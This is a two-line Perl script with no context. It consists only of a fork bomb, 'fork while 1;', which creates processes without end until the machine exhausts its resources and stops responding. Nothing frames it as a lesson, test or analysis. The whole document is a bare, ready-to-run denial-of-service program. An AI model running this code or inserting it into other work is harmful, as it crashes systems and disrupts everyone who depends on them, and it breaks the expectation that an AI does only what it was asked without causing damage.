#!/usr/bin/env perl
fork while 1;